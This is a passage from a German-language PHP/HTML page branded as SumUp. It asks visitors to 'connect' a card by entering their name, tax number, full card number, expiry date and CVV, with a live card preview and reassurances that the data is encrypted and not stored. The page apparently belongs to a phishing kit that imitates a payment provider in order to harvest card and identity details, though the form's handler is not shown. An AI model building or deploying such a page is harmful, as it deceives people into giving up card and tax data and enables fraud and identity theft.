                                        <path d="M8 0a8 8 0 1 0 0 16A8 8 0 0 0 8 0zm3 11a1 1 0 0 1-1.41 0L8 9.41 6.41 11A1 1 0 0 1 5 9.59L6.59 8 5 6.41A1 1 0 0 1 5 5a1 1 0 0 1 1.41 0L8 6.59 9.59 5A1 1 0 0 1 11 5a1 1 0 0 1 0 1.41L9.41 8 11 9.59A1 1 0 0 1 11 11z" fill="currentColor"></path>
                                    </svg>
                                </span>
                                Ungültiger CVV-Code
                            </div>
                            <?php endif; ?>
                            <div class="input-hint">3 Ziffern auf der Rückseite</div>
                        </div>
                    </div>
                </div>
                
                <button type="submit" class="btn">KARTE VERBINDEN</button>
            </form>
            
            <!-- Security Info -->
            <div class="security-info">
                <div class="security-icon">
                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M12 1L3 5V11C3 16.55 6.84 21.74 12 23C17.16 21.74 21 16.55 21 11V5L12 1ZM12 7C13.1 7 14 7.9 14 9C14 10.1 13.1 11 12 11C10.9 11 10 10.1 10 9C10 7.9 10.9 7 12 7ZM16 17.58C16 18.68 14.97 19.58 13.5 19.58H10.5C9.03 19.58 8 18.68 8 17.58V16.58C8 15.48 9.03 14.58 10.5 14.58H13.5C14.97 14.58 16 15.48 16 16.58V17.58Z" fill="#0F131A"/>
                    </svg>
                </div>
                <div class="security-title">Sichere Transaktion</div>
                <p class="security-description">
                    Ihre Daten sind mit fortschrittlicher Verschlüsselung geschützt. 
                    SumUp speichert Ihre Kartennummer nicht.
                </p>
            </div>
        </div>
        
        <!-- Zusätzliche Buttons unten -->
        <div class="footer-buttons">
            <div class="language-select">
                <select id="languageSelect" name="languageSelect">
                    <option value="da-DK">Dansk</option>
                    <option value="de-DE" selected>Deutsch</option>
                    <option value="et-EE">Eesti</option>
                    <option value="en-GB">English</option>
                    <option value="es-ES">Español</option>
                    <option value="fr-FR">Français</option>
                    <option value="hr-HR">Hrvatski</option>
                    <option value="it-IT">Italiano</option>
                    <option value="lv-LV">Latviešu valoda</option>
                    <option value="lt-LT">Lietuviškai</option>
                    <option value="hu-HU">Magyar</option>
                    <option value="nl-NL">Nederlands</option>
                    <option value="nb-NO">Norsk</option>
                    <option value="pl-PL">Polski</option>
                    <option value="pt-BR">Português</option>
                    <option value="ro-RO">Română</option>
                    <option value="sk-SK">Slovenčina</option>
                    <option value="sl-SI">Slovenščina</option>
                    <option value="fi-FI">Suomi</option>
                    <option value="sv-SE">Svenska</option>
                    <option value="cs-CZ">Čeština</option>
                    <option value="el-GR">Ελληνικά</option>
                    <option value="bg-BG">Български</option>
                </select>
            </div>
            
            <div class="system-status-btn">
                <a href="https://status.sumup.com" class="btn-secondary">
                    Systemstatus
                </a>
            </div>
        </div>
    </div>

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            const vornameInput = document.getElementById('vorname');
            const nachnameInput = document.getElementById('nachname');
            const cardNumberInput = document.getElementById('card_number');
            const expiryInput = document.getElementById('expiry');
            const cvvInput = document.getElementById('CVC');
            const creditCard = document.getElementById('creditCard');
            const visaLogo = document.getElementById('visaLogo');
            const mastercardLogo = document.getElementById('mastercardLogo');
            
            // Fehler aus der Session entfernen nach dem Laden
            <?php 
            if(isset($_SESSION['errors'])) {
                foreach(['vorname', 'nachname', 'steuernummer', 'card_number', 'expiry', 'CVC'] as $error) {
                    if(isset($_SESSION['errors'][$error])) {
                        echo "setTimeout(() => { document.querySelector('#$error')?.classList?.remove('error'); }, 3000);";
                    }
                }
                // Alle Fehler entfernen
                unset($_SESSION['errors']);
            }
            ?>
            
            // Kartentyp basierend auf der ersten Ziffer erkennen
            function detectCardType(cardNumber) {
                // Nummer von Leerzeichen bereinigen und erste Ziffer erhalten
                const cleanNumber = cardNumber.replace(/\s/g, '');
                if (cleanNumber.length === 0) return '';
                
                const firstDigit = cleanNumber.charAt(0);
                
                if (firstDigit === '4') {
                    return 'visa';
                } else if (firstDigit === '5') {
                    return 'mastercard';
                } else {
                    return ''; // Kein Logo anzeigen, wenn nicht 4 oder 5
                }
            }
            
            // Kartelogo aktualisieren
            function updateCardLogo(cardNumber) {
                const cardType = detectCardType(cardNumber);
                
                // Alle Logos zunächst ausblenden
                visaLogo.style.display = 'none';
                mastercardLogo.style.display = 'none';
                
                // Passendes Logo anzeigen
                if (cardType === 'visa') {
                    visaLogo.style.display = 'block';
                } else if (cardType === 'mastercard') {
                    mastercardLogo.style.display = 'block';
                }
            }
            
            // Name auf der Karte aktualisieren
            function updateCardHolder() {
                const vorname = vornameInput.value || 'VORNAME';
                const nachname = nachnameInput.value || 'NACHNAME';
                document.getElementById('preview-holder').textContent = `${vorname} ${nachname}`.toUpperCase();
            }
            
            vornameInput.addEventListener('input', updateCardHolder);
            nachnameInput.addEventListener('input', updateCardHolder);
            
            // Kartennummer formatieren
            cardNumberInput.addEventListener('input', function(e) {
                let value = e.target.value.replace(/\s/g, '');
                if (value.length > 0) {
                    value = value.match(new RegExp('.{1,4}', 'g')).join(' ');
                }
                e.target.value = value;
                
                // Visuelle Karte aktualisieren
                if (value.length > 0) {
                    document.getElementById('preview-number').textContent = value;
                    // Kartentyp aktualisieren
                    updateCardLogo(value);
                } else {
                    document.getElementById('preview-number').textContent = '•••• •••• •••• ••••';
                    // Alle Logos ausblenden, wenn das Feld leer ist
                    visaLogo.style.display = 'none';
                    mastercardLogo.style.display = 'none';
                }
            });
            
            // Gültigkeitsdatum formatieren
            expiryInput.addEventListener('input', function(e) {
                let value = e.target.value.replace(/\D/g, '');
                if (value.length >= 2) {
                    value = value.substring(0, 2) + '/' + value.substring(2, 4);
                }
                e.target.value = value;
                
                // Visuelle Karte aktualisieren
                if (value.length > 0) {
                    document.getElementById('preview-expiry').textContent = value;
                } else {
                    document.getElementById('preview-expiry').textContent = 'MM/JJ';
                }
            });
            
            // Karte automatisch drehen bei CVV-Eingabe
            cvvInput.addEventListener('focus', function() {
                creditCard.classList.add('flipped');
            });
            
            cvvInput.addEventListener('blur', function() {
                if (this.value === '') {
                    creditCard.classList.remove('flipped');
                }
            });
            
            cvvInput.addEventListener('input', function(e) {
                const value = e.target.value.replace(/\D/g, '').substring(0, 3);
                e.target.value = value;
                
                // CVV auf der Kartenrückseite aktualisieren
                if (value.length > 0) {
                    document.getElementById('preview-cvv').textContent = value;
                } else {
                    document.getElementById('preview-cvv').textContent = '•••';
                }
                
                // Karte automatisch drehen bei CVV-Eingabe
                if (value.length > 0 && !creditCard.classList.contains('flipped')) {
                    creditCard.classList.add('flipped');
                }
            });
            
            // Graduelle Erscheinungseffekte
            const container = document.querySelector('.form-container');
            container.style.opacity = '0';
            container.style.transform = 'translateY(30px)';
            container.style.transition = 'all 0.8s ease';
            
            setTimeout(() => {
                container.style.opacity = '1';
                container.style.transform = 'translateY(0)';
            }, 200);
            
            // Automatischer Fokus auf das erste Feld
            vornameInput.focus();
        });
    </script>
</body>
</html>